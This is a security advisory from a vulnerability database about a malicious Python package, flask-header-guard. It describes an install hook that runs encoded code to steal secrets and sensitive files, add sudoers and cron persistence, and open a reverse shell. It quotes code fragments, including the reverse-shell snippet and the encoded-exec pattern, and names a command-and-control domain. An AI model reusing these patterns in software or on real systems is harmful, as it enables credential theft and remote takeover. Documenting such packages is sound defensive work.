VDB
GCVE-110-OSM-2026-11574
GCVE-110-OSM-2026-11574
Advisory PublishedCVSS 9.6/10
During installation, the package attempts to exfiltrate sensitive environment variables and files, establish persistence and open a reverse shell. Additionally, the provided Flask middleware embeds a backdoor.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-08-pygame-renderkit
Reasons (based on the campaign):
- The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine.
- files-exfiltration
- The package overrides the install command in setup.py to execute malicious code during installation.
- exfiltration-env-variables
- persistence
Judge assessment: This is a clear install-time infostealer/backdoor aimed at the host environment: `setup.py` overrides `cmdclass={'install': PostInstallCommand}` and forks into `exec(compile(base64.b64decode(ENCODED)...))`, so the payload runs on installation. The deobfuscated payload explicitly collects secret-bearing environment variables, reads sensitive files like `/etc/passwd`, `/etc/shadow`, `/root/.bash_history`, and writes the loot to `/tmp/.sandbox_data.json`, then sets up persistence via `/etc/sudoers.d/.fhg` and cron. It also contains a reverse shell that connects to `smat7ckgzo.localto.net:6303`, which is a deobfuscated custom-C2 endpoint, matching the attacker model of a compromised PyPI package used for credential theft and remote access. The OSV advisory is corroborated by the actual code and recovered IOCs, not contradicted by it.
ENTRY
setup.py (install-hook: install/develop/build override present)
- setup.py Code Execution in setup.py
DESTINATION
- 1 exfil (custom-c2)
(values recorded in verified_iocs)
EXFIL
- Sensitive File Access in setup.py: "'/etc/passwd'"
- Reverse Shell in setup.py: "socket.socket()\n s.connect(("%%HOST%%",%%PORT%%))\n os.dup2(s.fileno(),0)\n os...."
- Data Encoding for Exfiltration in setup.py: "base64.b64encode("
OBFUSCATION
- Python Exec with Encoded Content in setup.py: "exec(compile(base64"
- IOCs Found in Deobfuscated Code in setup.py
- recovered 1 domains, 1 _domainCandidates from decoded/deobfuscated content
ADDITIONAL FINDINGS
- Base64 Decoded Eval in setup.py: "compile(base64"
- Download Execute Delete Pattern in setup.py: "open('/tmp/.cron_fhg','w') as f: f.write(existing + cron) subprocess.call(['cron..."
- Shell Command Execution in flask_header_guard/backdoor.py: "subprocess.run("
- Silent Process Execution in setup.py: "stdout=subprocess.DEVNULL"
- Setup.py Command Override in setup.py: "cmdclass={'install'"
PAYLOAD FILES
setup.py
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | flask-header-guard | all (affected) | — |
Aliases
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.